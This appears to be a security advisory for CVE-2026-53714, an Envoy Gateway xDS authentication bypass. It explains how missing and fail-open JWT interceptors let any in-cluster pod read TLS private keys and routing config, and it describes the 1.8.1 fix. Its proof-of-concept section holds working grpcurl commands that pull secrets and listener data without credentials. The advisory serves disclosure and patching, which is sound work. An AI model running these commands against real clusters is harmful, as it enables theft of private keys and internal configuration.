high · 7.4CVE-2026-53714Jul 16, 2026

CVE-2026-53714: Envoy Gateway xDS Authentication Bypass in GatewayNamespaceMode

Rohit Hatagale
AI Security Researcher, SecureLayer7

Envoy Gateway in GatewayNamespaceMode lets any pod in the cluster read TLS private keys and all routing config from the xDS server without any authentication, because the JWT check was never applied t

Packagegithub.com/envoyproxy/gateway
Ecosystemgo
Affected>= 1.8.0-rc.0, < 1.8.1
Fixed in1.8.1

The problem

When Envoy Gateway runs with `provider.kubernetes.deploy.type=GatewayNamespace`, the xDS gRPC server (port 18000) registers a JWT StreamInterceptor but no UnaryInterceptor. This leaves all unary Fetch RPC endpoints completely unauthenticated.

The stream interceptor has a second flaw: it only validates the JWT when the incoming gRPC message type-asserts to `discoveryv3.DeltaDiscoveryRequest`. When a client uses the State-of-the-World (SotW) protocol, the message is a plain `discoveryv3.DiscoveryRequest`.

The type assertion fails silently, the auth block is skipped, and `RecvMsg` returns nil (success). Any in-cluster pod can therefore open a SotW ADS stream and pull TLS private keys via SDS, full routing config via LDS/RDS, and backend topology via CDS/EDS.

Proof of concept

A working proof-of-concept for CVE-2026-53714 in github.com/envoyproxy/gateway, with the exact payload below.

bash
# Any in-cluster pod can run this (no JWT, no mTLS cert needed)
# Target the xDS server on port 18000 using the SotW ADS method (DiscoveryRequest, not DeltaDiscoveryRequest)

grpcurl -plaintext \
  -d '{
    "node": {"id": "attacker", "cluster": "attacker"},
    "type_url": "type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.Secret"
  }' \
  <xds-server-host>:18000 \
  envoy.service.discovery.v3.AggregatedDiscoveryService/StreamAggregatedResources

# The SotW stream uses DiscoveryRequest. The interceptor type-asserts to
# DeltaDiscoveryRequest, fails, skips JWT validation, and returns nil.
# The server then streams all matching secrets (TLS private keys included).
#
# For the Fetch (unary) path, no interceptor is registered at all:
grpcurl -plaintext \
  -d '{
    "node": {"id": "attacker", "cluster": "attacker"},
    "type_url": "type.googleapis.com/envoy.config.listener.v3.Listener"
  }' \
  <xds-server-host>:18000 \
  envoy.service.listener.v3.ListenerDiscoveryService/FetchListeners

Two independent logic gaps exist in the pre-patch code. First, the gRPC server was constructed with only a `StreamInterceptor` option. The go-control-plane xDS server also exposes unary Fetch RPCs (FetchListeners, FetchClusters, etc.), and without a matching `UnaryInterceptor`, those endpoints received zero authentication.

Second, inside the stream interceptor, the auth guard used a Go type assertion: `req, ok := msg.(*discoveryv3.DeltaDiscoveryRequest)`. SotW protocol messages are typed as `*discoveryv3.DiscoveryRequest`, so `ok` is false, the `if` block is skipped entirely, and `RecvMsg` returns nil, signaling success to the caller.

This is a classic fail-open pattern (CWE-306). The fix in PR #8986 added a UnaryInterceptor mirroring the existing stream one, and changed the stream interceptor to also handle `*discoveryv3.DiscoveryRequest` (SotW) messages, rejecting any call that lacks a valid JWT regardless of message type.

The fix

Upgrade to envoy-gateway 1.8.1. The patch (PR #8986, cherry-picked into the release/v1.8 and release/v1.7 branches) adds a UnaryInterceptor to close the Fetch-endpoint gap and fixes the stream interceptor to validate JWTs on SotW `DiscoveryRequest` messages in addition to Delta ones.

No configuration change is required after upgrading.

Reported by dashingDragon and Donjon-Cerberus.

References: [1][2]

Related research